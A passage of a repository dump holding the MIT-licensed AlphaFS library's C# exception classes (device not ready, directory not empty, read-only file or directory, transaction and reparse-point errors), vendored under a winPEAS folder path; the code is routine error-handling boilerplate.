    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The requested operation could not be completed because the device is not ready.</summary>\n   [Serializable]\n   public class DeviceNotReadyException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_READY);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_NOT_READY, new Win32Exception((int) Win32Errors.ERROR_NOT_READY).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DeviceNotReadyException\"/> class.</summary>\n      public DeviceNotReadyException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DeviceNotReadyException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public DeviceNotReadyException(string message) : base(message, ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DeviceNotReadyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file system object.</param>\n      /// <param name=\"isPath\">Always set to true when using this constructor.</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"isPath\")]\n      public DeviceNotReadyException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, Path.GetCleanExceptionPath(path)), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DeviceNotReadyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the device.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public DeviceNotReadyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, Path.GetCleanExceptionPath(path)), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DeviceNotReadyException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected DeviceNotReadyException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DirectoryNotEmptyException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The operation could not be completed because the directory is not empty.</summary>\n   [Serializable]\n   public class DirectoryNotEmptyException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_DIR_NOT_EMPTY);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_DIR_NOT_EMPTY, new Win32Exception((int) Win32Errors.ERROR_DIR_NOT_EMPTY).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryNotEmptyException\"/> class.</summary>\n      public DirectoryNotEmptyException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryNotEmptyException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public DirectoryNotEmptyException(string message) : base(message, ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryNotEmptyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"isPath\">Always set to true when using this constructor.</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"isPath\")]\n      public DirectoryNotEmptyException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryNotEmptyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public DirectoryNotEmptyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryNotEmptyException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected DirectoryNotEmptyException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DirectoryReadOnlyException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The operation could not be completed because the directory is read-only.</summary>\n   [Serializable]\n   public class DirectoryReadOnlyException : UnauthorizedAccessException\n   {\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_FILE_READ_ONLY, new Win32Exception((int) Win32Errors.ERROR_FILE_READ_ONLY).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryReadOnlyException\"/> class.</summary>\n      public DirectoryReadOnlyException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText))\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryReadOnlyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the directory.</param>\n      public DirectoryReadOnlyException(string path) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path))\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryReadOnlyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public DirectoryReadOnlyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryReadOnlyException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected DirectoryReadOnlyException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/FileReadOnlyException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The operation could not be completed because the file is read-only.</summary>\n   [Serializable]\n   public class FileReadOnlyException : UnauthorizedAccessException\n   {\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_FILE_READ_ONLY, new Win32Exception((int) Win32Errors.ERROR_FILE_READ_ONLY).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"FileReadOnlyException\"/> class.</summary>\n      public FileReadOnlyException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText))\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"FileReadOnlyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file.</param>\n      public FileReadOnlyException(string path) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, Path.GetCleanExceptionPath(path)))\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"FileReadOnlyException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public FileReadOnlyException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, Path.GetCleanExceptionPath(path)), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"FileReadOnlyException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected FileReadOnlyException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/InvalidTransactionException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The transaction handle associated with this operation is not valid.</summary>\n   [Serializable]\n   public class InvalidTransactionException : TransactionException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"InvalidTransactionException\"/> class.</summary>\n      public InvalidTransactionException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"InvalidTransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public InvalidTransactionException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"InvalidTransactionException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public InvalidTransactionException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"InvalidTransactionException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected InvalidTransactionException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/NotAReparsePointException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The file or directory was not a reparse point.</summary>\n   [Serializable]\n   public class NotAReparsePointException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_A_REPARSE_POINT);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_NOT_A_REPARSE_POINT, new Win32Exception((int) Win32Errors.ERROR_NOT_A_REPARSE_POINT).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotAReparsePointException\"/> class.</summary>\n      public NotAReparsePointException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotAReparsePointException\"/> class.</summary>\n      /// <param name=\"message\">The custom error message..</param>\n      /// <param name=\"lastError\">The GetLastWin32Error.</param>\n      public NotAReparsePointException(string message, int lastError) : base(message, lastError)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotAReparsePointException\"/> class.</summary>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      public NotAReparsePointException(string path) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotAReparsePointException\"/> class.</summary>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public NotAReparsePointException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotAReparsePointException\"/> class.</summary>\n      /// <param name=\"info\">The info.</param>\n      /// <param name=\"context\">The context.</param>\n      protected NotAReparsePointException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/NotSameDeviceException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.Serialization;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The exception that is thrown when an attempt perform an operation across difference devices when this is not supported.</summary>\n   [Serializable]\n   public class NotSameDeviceException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_NOT_SAME_DEVICE);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_NOT_SAME_DEVICE, new Win32Exception((int)Win32Errors.ERROR_NOT_SAME_DEVICE).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotSameDeviceException\"/> class.</summary>\n      public NotSameDeviceException() : base(Resources.File_Or_Directory_Already_Exists, ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotSameDeviceException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public NotSameDeviceException(string message) : base(message, ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotSameDeviceException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public NotSameDeviceException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotSameDeviceException\"/> class.</summary>\n      /// <param name=\"path\">The path to the device.</param>\n      /// <param name=\"isPath\">Always set to true when using this constructor.</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"isPath\")]\n      public NotSameDeviceException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"NotSameDeviceException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected NotSameDeviceException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionAlreadyAbortedException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] It is too late to perform the requested operation, since the Transaction has already been aborted.</summary>\n   [Serializable]\n   public class TransactionAlreadyAbortedException : TransactionException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyAbortedException\"/> class.</summary>\n      public TransactionAlreadyAbortedException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyAbortedException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public TransactionAlreadyAbortedException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyAbortedException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public TransactionAlreadyAbortedException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyAbortedException\"/> class.</summary>\n      /// <param name=\"info\">The info.</param>\n      /// <param name=\"context\">The context.</param>\n      protected TransactionAlreadyAbortedException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionAlreadyCommittedException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] It is too late to perform the requested operation, since the Transaction has already been committed.</summary>\n   [Serializable]\n   public class TransactionAlreadyCommittedException : TransactionException\n   {\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyCommittedException\"/> class.</summary>\n      public TransactionAlreadyCommittedException()\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyCommittedException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      public TransactionAlreadyCommittedException(string message) : base(message)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyCommittedException\"/> class.</summary>\n      /// <param name=\"message\">The message.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public TransactionAlreadyCommittedException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"TransactionAlreadyCommittedException\"/> class.</summary>\n      /// <param name=\"info\">The object that holds the serialized object data.</param>\n      /// <param name=\"context\">The contextual information about the source or destination.</param>\n      protected TransactionAlreadyCommittedException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/TransactionException.cs",
